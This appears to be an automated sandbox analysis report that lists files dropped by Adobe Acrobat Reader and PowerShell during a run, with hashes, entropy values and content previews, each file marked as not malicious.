SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfYdPeUkwRe9:YvXKXL7cO0cFZGg8Ukee9
MD5:	258BE0838B2765A76D36D2010ACFE0FB
SHA1:	6293C729255C55B55CF1A3C2CD9E6DEE4EA11E01
SHA-256:	BC8DC849C95506DFA862EBA2A9B91289BD65EE93940718D20408C6BCDD15218D
SHA-512:	14242413AAD8CC9BDFF98D132F71E0FB87774E57F11AA7A91C9A856BE644E859EA67C84190A95D4499B4BEF1E9B78EB5B2C06E704DB7078642F1FA64DA01F552
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.298217676380696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJf+dPeUkwRe9:YvXKXL7cO0cFZG28Ukee9
MD5:	A4623A51D89B60B8CD063F4D1ABF9A60
SHA1:	2A9C50847275D7908470AB9D1D95729F0D14C36F
SHA-256:	E17A9A082D4428080E4ADB1CE2368AD725ACB0BEB7B368303CF5E47AF603164F
SHA-512:	9CCC031B7D8123A1D61DD57755E9F49F00EB6AAF8B459D1482DBA7558555DEEE57B1FD72F9BC9B546A9A62151B616832A19974F6D2248EC9E2B4133ED3F63E86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.295129918247649
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfbPtdPeUkwRe9:YvXKXL7cO0cFZGDV8Ukee9
MD5:	648B0878CA0DCDA0B22245D6BBD75200
SHA1:	58080ED2865D135EB8919B4F245386759E089D04
SHA-256:	5BBEDBA1544A77C1D89B17EB95C7460A1002602C023B230AB6CF40D0231690D2
SHA-512:	080D124B1E82243B8490273302769F87D9A824BE67938F26D7AFF825DCF64248D537C11C78B81F67BF945B4B3D85CD007132033767444B8B7B7271D10A687FB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298672671600581
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJf21rPeUkwRe9:YvXKXL7cO0cFZG+16Ukee9
MD5:	7C5C418BDE0490347D7A069E628A8B2C
SHA1:	6C10D060621C673D1DD3E3363553CABED29781AC
SHA-256:	BCE07A9FA225B792EDE40F7ACD9D407BD0471CBD37B5DDB22BD4CA18FB2E1672
SHA-512:	B03E2CDC8450E945C055945B507B37E38FB487BD6F9A437729261B29E44F7A00784517A9B907BB61C1966D5D9321A9164761C1EC88173547B468A6C6BD438E08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668055335965363
Encrypted:	false
SSDEEP:	24:Yv6X/cOZcamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS1:YvIiBgkDMUJUAh8cvM1
MD5:	606B5CC24F07634648DFDDD0B79EA683
SHA1:	0BF75A973C04739BD7C7C1CDB7FBAC283A39C49C
SHA-256:	1FDC941780F800B90B7978A4993B171678F226EFD8F0D2D01E5585EAA4FAC09A
SHA-512:	96BB64E4D097FDB05E5957194B234828E22EC8AD11A3530BB61410A5D36C221D3CE55B50A1E4985179F48DCC11345100AE5913E4AD345A854BBADE63B036F4F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2756252137275785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJfshHHrPeUkwRe9:YvXKXL7cO0cFZGUUUkee9
MD5:	01B2FC1C739F6190A35CD2DE080C5424
SHA1:	00DC411841540CF16C0B2BB8B51299CF36F722C0
SHA-256:	6F5894703C99592DFE97326849BFDD9C0073472D30F76BA2D2AF0FAEFF1644CC
SHA-512:	1A7832BE522F9A6B2148768F753B7D327C91AABD871C678A02AA223ECA5293CD75A2C303632A98A0813E4E2D1CFCE5AE41D51ABFC8C7336521DAE04E80B0246A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281040413611396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCmtjLDcO0nZiQ0YU2DoAvJTqgFCrPeUkwRe9:YvXKXL7cO0cFZGTq16Ukee9
MD5:	93F6670E6700D3B88F36138D11E3C693
SHA1:	861C70FF445ACA0352F631C4152547A908555C6A
SHA-256:	596305FB63A46BD7053AE9BCC5142550B9BA0B7E60D6E07656030E339CE5EAD7
SHA-512:	A42377DA2C786CB10D997216D9016A0CBF8B77EFF9DAF86080F6C81AAE0ACA2AF73BCC10B5123FFAF7A7274A7E448EB8F1F317454856D15B977C7996A4FABCF9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb1fa33f-01cd-4296-84ea-17d8858b0726","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736527085,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1355310819376045
Encrypted:	false
SSDEEP:	24:YeJBaf03ayn72aF4B6qAMBrMQJqXjjXNMej0St7qCJ2dV2LSnCCyMHcAs25bLoh7:YqAiM6qR6bjdMAMeIVNVyMHcAtMh9dv
MD5:	9427789B4289515BA98D54763761DF30
SHA1:	8DFB1DD326F314FE958B99B9537F94377400A7F9
SHA-256:	EF7FA274A68E13D20C0E79B1675D528F44D1CF68D99DA1908490EDF1FA2B0445
SHA-512:	98AF86233413F24C6921B7F98B1FEB765C7B3481A70B1B6F420D00AEFBCF879387749BC059B84AFC462E0265C25E2F180602F3AD8C871E973D91B6DFD3AC825F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4b9f5bbb09b6610f84936b24e581270d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557141000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"935aac26b3229311e29ed9477a160925","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557141000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"7220ee2e24d01e2b08d10f020494e887","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557141000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6ed32f012b8cbf1ae9a5a0eea700d99b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557141000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9931cf0bed922a9ba06a3cb9fc8606ae","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557141000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cf966a3f1dfce29266ba67789f1f1248","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.144380706448569
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursPhtRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudJ:TFl2GL7msP7Xc+XcGNFlRYIX2v3kEd
MD5:	FCEEF22418F3795071A544516ACC7A7A
SHA1:	9918E3264991DB8139F5B48C4393B3B0F90B0A86
SHA-256:	8D3B0813063B8FB8436A4CB333A056ACC2174008A4533415767EE3287FEB8FFB
SHA-512:	525339302AEA36C0D6D5727C8A6DA548E1CB6BB0A641D1AEF050C4E767F0AA6C79BC4C7293BE9D2CDE17E28508622F36169189DAA4F3E6833790877787A1275B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.549960511164473
Encrypted:	false
SSDEEP:	24:7+tjhtUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxwqLxx/XYq:7MjMXc+XcGNFlRYIX2vFqVl2GL7msX
MD5:	F8F1EE98D2033475815FB7B4121DAB6F
SHA1:	34376941F755724A53EAE0D8412541E8737205B1
SHA-256:	9324914F1A0E71CF33DDEC39C6EF66AAEAB761831968AA8AC14EA4C4B216456C
SHA-512:	45E808137188630B38AC4FDCA0289EB660A6F4D73076EC121B2D4C373EAFC543523B6E14DD1FE2F1C2944F164EDC21C78DB72B70E5E1EC1AECA4D1569B8C17E5
Malicious:	false
Preview:	.... .c.....:.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgQzm3gGWPr9ESiu9NRfC/QDqV8OTYyu:6a6TZ44ADEQzIgGerriuPqV8cK
MD5:	DD7F24A2D003598DB7087B58BE58D34E
SHA1:	F77B6CAABC2378FC39025C3E2695BF9718B97B03
SHA-256:	800D514EA4C39E69A00F7FAA500CEB630F5801FE95BA1058C8351BE23967E140
SHA-512:	F4146CCC3084EC7F8E977FCEE3561479D2AA6653A284E8882646749B18135B955D427E2F5A11C4598FF60EC2C2A2C8641975D3781C860FAB4467E54C1DF49FAA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI9e59e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.501595078528367
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE4YlYH:Qw946cPbiOxDlbYnuRK+bDtYH
MD5:	1F0AEE20C584E57C2558B9AF74D8D916
SHA1:	8D424CD7DCEC08A734A7361DAD2A329559997CE7
SHA-256:	6E147DB2F5201E39B8CB64CE955690B16B99A3DBE67072D232C31379857E68A6
SHA-512:	10183038740E97B67E420D1749BB63C88E28A9E720D7E4BB9AB8CFC6BD4FC07329FF6186D3251D5F7405BF73B1B64A00C681715981174D7ED06023A8755398B7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.5.9.:.0.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ngwqnoy.5d2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_smv5gx5g.qjc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-58-54-706.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.361371095759867
Encrypted:	false
SSDEEP:	384:s/JOxX8tRkRPKcAmnTSUQuc1h2XxPa+YjAsSIcYK7d3nd92Rj+qTbKbqTJLYmrrs:CDU
MD5:	DFDA6E52757AF9B07379EDB0E642C780
SHA1:	097ECB516C3E5515B73E0511E5BBD605F25266B6
SHA-256:	D7C7A676087D48C80B7377917DF5134900EF97CE6E91F87FD2FB37ED4E426473
SHA-512:	8AE1C7A2F70431EF5DC8F3BB187A6221E7E4B8A7BF04CA158A8444268ED11DBEC9B44A748DC491E1921628974E7CFEE406221B305F0AB20831A6A0472B814FB1
Malicious:	false
Preview:	SessionID=cb2fec2e-7d25-42c8-b672-24c46d7fcb75.1736557134719 Timestamp=2025-01-10T19:58:54:719-0500 ThreadID=5016 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cb2fec2e-7d25-42c8-b672-24c46d7fcb75.1736557134719 Timestamp=2025-01-10T19:58:54:720-0500 ThreadID=5016 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cb2fec2e-7d25-42c8-b672-24c46d7fcb75.1736557134719 Timestamp=2025-01-10T19:58:54:720-0500 ThreadID=5016 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cb2fec2e-7d25-42c8-b672-24c46d7fcb75.1736557134719 Timestamp=2025-01-10T19:58:54:720-0500 ThreadID=5016 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cb2fec2e-7d25-42c8-b672-24c46d7fcb75.1736557134719 Timestamp=2025-01-10T19:58:54:720-0500 ThreadID=5016 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39762050235453
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbGQcb2IaacbF:V3fOCIdJDegVaF
MD5:	6097C2B624E2BD9560D88D1E98FF3B33
SHA1:	F552A2A190B9695ED7A264654D0136E7EB2F14F5
SHA-256:	D80C4777A18F7ED459157184716AAFAE539DC7F8E502BEBC56655A374E6A7455
SHA-512:	5C9685C714921A65ACEBFDACC414342F9DFCEC11FDEBDBE27FC290F74AE14490A4036CDA867CAC6F64C50AC9B2600FA77BAEE99AF3458A1CA4AF0E8C09922254
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\15f97bab-c8ac-4d95-9bf1-b957057785f3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d29dfeb0-4415-4e44-9733-7ad6245e4df5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
